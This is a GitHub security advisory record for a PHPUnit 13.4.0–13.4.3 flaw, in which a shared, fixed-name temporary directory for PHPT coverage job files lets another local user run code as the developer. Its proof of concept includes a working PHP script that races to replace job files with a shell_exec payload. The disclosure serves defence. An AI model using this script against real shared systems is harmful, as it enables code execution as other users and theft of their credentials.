{"id":"GHSA-9vw2-f4vp-x7gf","summary":"PHPUnit vulnerable to code execution by other local users via shared temporary directory in PHPT code coverage handling","details":"### Summary\n\nWhen PHPT tests are run with code coverage, PHPUnit 13.4.0 to 13.4.3 writes the code of each PHPT test to a directory with a fixed name below the operating system's path used for temporary files, for instance `/tmp/phpunit-phpt` on Linux, and executes it from there. PHPUnit uses this directory even when it was created by another user.\n\nOn a system where the path used for temporary files is shared between users, another local user can create this directory before the developer runs PHPUnit, replace the code of a PHPT test before it is executed, and thereby execute arbitrary code with the privileges of the developer. The test still passes and the code coverage report is complete, so the attack is not visible.\n\nThe impact is full code execution as the user who runs PHPUnit. The likelihood is low: the attacker needs an account on the same system and must create the directory before the developer runs PHPT tests with code coverage. macOS and Windows use per-user temporary directories by default and are not affected in their default configuration. PHPUnit 12.5 and earlier are not affected.\n\n### Details\n\nWhen code coverage is collected for a PHPT test, PHPUnit writes two temporary files: a `.php` file with the code of the PHPT test (the \"job\" file), which the child process executes, and a `.coverage` file, to which the child process writes the code coverage data it collected.\n\nSince PHPUnit 13.4.0, these files are created in a directory with a fixed name:\n\n* [`TestCase::coverageFilesDirectory()`](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/TestCase.php#L132-L143) returns `sys_get_temp_dir() . '/phpunit-phpt'`\n* The [constructor](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/TestCase.php#L169-L174) names the files `phpunit_phpt_\u003crandom\u003e.php` and `phpunit_phpt_\u003crandom\u003e.coverage` in this directory\n\nBefore a PHPT test is run with code coverage, this directory is [created using `Filesystem::createDirectory()`](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/TestCase.php#L319). [`Filesystem::createDirectory()`](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Util/Filesystem.php#L27-L30) returns `true` when the directory already exists, without checking its owner or its permissions. When it does not exist, it is created with mode `0777` (subject to the umask).\n\n[`Renderer::renderForCoverage()`](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/Renderer.php#L112) then writes the job file using `file_put_contents()`. The child process loads Composer's autoloader, the bootstrap script, and the code coverage driver, and then [executes the job file using `require`](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/templates/phpt.tpl#L43).\n\nWhen another user created the directory, that user owns it. The owner of a directory can list its contents and rename, delete, or replace every file in it, regardless of who owns the file. The directory does not have the sticky bit set, so protections such as Linux's `fs.protected_regular` and `fs.protected_symlinks` do not apply either. The random part of the file names therefore does not prevent the attack: the attacker waits for the job file to appear, renames it, and puts a file with their own code in its place. The attacker's code can then execute the original job file, so that the test passes and the code coverage report is complete.\n\nThe `.coverage` file can be replaced in the same way. [`TestCase::cleanupForCoverage()`](https://github.com/sebastianbergmann/phpunit/blob/13.4.3/src/Runner/Phpt/TestCase.php#L760-L803) only allows objects of PHPUnit's class for raw code coverage data to be unserialized from it, so this only allows the falsification of code coverage data.\n\nAfter the test, PHPUnit deletes both files, but not the directory. Once PHPUnit has created the directory for the developer, other users cannot write to it, unless the developer's umask allows this.\n\nPHPUnit 12.5 and earlier are not affected: these versions write the temporary files next to the PHPT test file.\n\nPHPUnit 13.4.4 creates the directory for the temporary files of PHPT tests with an unpredictable name and with permissions that only allow the current user to access it. A directory that already exists is not used.\n\n### Proof of concept\n\nThe following steps reproduce the issue on a Linux system with two users, `alice` (the developer) and `mallory` (the attacker), that share `/tmp`. They require PHP 8.4.1 or later with the `posix` extension and a code coverage driver (PCOV or Xdebug) as well as Composer.\n\n1. As `root`, create the two users and make sure that `/tmp` has its default permissions (`1777`) and that `/tmp/phpunit-phpt` does not exist:\n\n   ```\n   useradd -m alice\n   useradd -m mallory\n   ls -ld /tmp\n   rm -rf /tmp/phpunit-phpt\n   ```\n\n2. As `alice`, create a project with a PHPT test and a source file to collect code coverage for:\n\n   ```\n   mkdir -p ~/project/src ~/project/tests\n   cd ~/project\n   composer require --dev phpunit/phpunit:13.4.3\n   ```\n\n   `~/project/src/Greeter.php`:\n\n   ```php\n   \u003c?php declare(strict_types=1);\n   final class Greeter\n   {\n       public function greet(): string\n       {\n           return 'ok';\n       }\n   }\n   ```\n\n   `~/project/tests/greeter.phpt`:\n\n   ```\n   --TEST--\n   PHPT test that is run with code coverage\n   --FILE--\n   \u003c?php declare(strict_types=1);\n   require __DIR__ . '/../src/Greeter.php';\n   print (new Greeter)-\u003egreet();\n   --EXPECT--\n   ok\n   ```\n\n   `~/project/phpunit.xml`:\n\n   ```xml\n   \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n   \u003cphpunit xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n            xsi:noNamespaceSchemaLocation=\"vendor/phpunit/phpunit/phpunit.xsd\"\u003e\n       \u003csource\u003e\n           \u003cinclude\u003e\n               \u003cdirectory\u003esrc\u003c/directory\u003e\n           \u003c/include\u003e\n       \u003c/source\u003e\n   \u003c/phpunit\u003e\n   ```\n\n3. As `mallory`, save the following script as `~/attack.php` and run it using `php ~/attack.php`. It creates `/tmp/phpunit-phpt`, waits for job files to appear in it, and replaces each of them with code that records the identity of the user that executes it and then executes the original job file:\n\n   ```php\n   \u003c?php declare(strict_types=1);\n   $directory = '/tmp/phpunit-phpt';\n\n   if (!@mkdir($directory)) {\n       exit($directory . ' already exists' . PHP_EOL);\n   }\n\n   chmod($directory, 0777);\n\n   $payload = '\u003c?php file_put_contents(__DIR__ . \"/proof.txt\", shell_exec(\"id\"), FILE_APPEND); require __FILE__ . \".orig\";' . PHP_EOL;\n   $replaced = [];\n\n   while (true) {\n       foreach (glob($directory . '/phpunit_phpt_*.php') as $job) {\n           if (isset($replaced[$job])) {\n               continue;\n           }\n\n           $replaced[$job] = true;\n\n           file_put_contents($directory . '/payload.tmp', $payload);\n           rename($job, $job . '.orig');\n           rename($directory . '/payload.tmp', $job);\n\n           print 'Replaced ' . $job . PHP_EOL;\n       }\n\n       usleep(1000);\n   }\n   ```\n\n4. As `alice`, run the PHPT test with code coverage (when Xdebug is used, prefix the command with `XDEBUG_MODE=coverage`):\n\n   ```\n   cd ~/project\n   vendor/bin/phpunit --coverage-text tests/greeter.phpt\n   ```\n\n   PHPUnit reports `OK (1 test, 1 assertion)`, and the code coverage report shows that `Greeter::greet()` is covered. Nothing in the output indicates that the code of the test was replaced.\n\n5. Check which user executed the code that `mallory` put in place:\n\n   ```\n   cat /tmp/phpunit-phpt/proof.txt\n   ```\n\n   The file is owned by `alice` and contains the output of `id` for `alice`, for instance:\n\n   ```\n   uid=1000(alice) gid=1000(alice) groups=1000(alice)\n   ```\n\n\n### Impact\n\nThis is a local privilege escalation (CWE-379: Creation of Temporary File in Directory with Incorrect Permissions). A local user can execute arbitrary code with the privileges of another user who runs PHPT tests with code coverage. This gives the attacker access to everything the developer can access, for instance source code, credentials, and SSH keys.\n\nAffected are users of PHPUnit 13.4.0 to 13.4.3 when all of the following apply:\n\n* **PHPT tests with code coverage:** PHPT tests are run while code coverage is collected, which requires a code coverage driver such as PCOV or Xdebug\n* **Shared path for temporary files:** The path used for temporary files (`sys_get_temp_dir()`) is shared between users. This is the case on Linux and other Unix-like systems with a shared `/tmp`, unless per-user temporary directories are used, for instance through systemd's `PrivateTmp`, `pam_namespace`, or a per-user `TMPDIR`. On macOS and Windows, the path used for temporary files is specific to the user by default\n* **Local account:** The attacker has an account on the same system, or controls a process that runs under another account, for instance a service\n* **First to create the directory:** The attacker creates the directory before the developer runs PHPT tests with code coverage for the first time since the path used for temporary files was last cleaned\n\nSystems on which no other user, including system accounts that run services, can create files in the path used for temporary files are not affected. This is typically the case for a container or an ephemeral CI runner that is used by a single user.","aliases":["CVE-2026-119193"],"modified":"2026-10-30T23:15:05.437671264Z","published":"2026-10-30T23:01:21Z","database_specific":{"cwe_ids":["CWE-379"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-30T23:01:21Z","nvd_published_at":"2026-10-29T20:17:30Z"},"references":[{"type":"WEB","url":"https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-9vw2-f4vp-x7gf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119193"},{"type":"WEB","url":"https://github.com/sebastianbergmann/phpunit/commit/ae31c78a86e9d6c641497bacf47462d7bb7d7f34"},{"type":"WEB","url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/phpunit/phpunit/CVE-2026-119193.yaml"},{"type":"PACKAGE","url":"https://github.com/sebastianbergmann/phpunit"},{"type":"WEB","url":"https://github.com/sebastianbergmann/phpunit/releases/tag/13.4.4"}],"affected":[{"package":{"name":"phpunit/phpunit","ecosystem":"Packagist","purl":"pkg:composer/phpunit/phpunit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.4.0"},{"fixed":"13.4.4"}]}],"versions":["13.4.0","13.4.1","13.4.2","13.4.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-9vw2-f4vp-x7gf/GHSA-9vw2-f4vp-x7gf.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}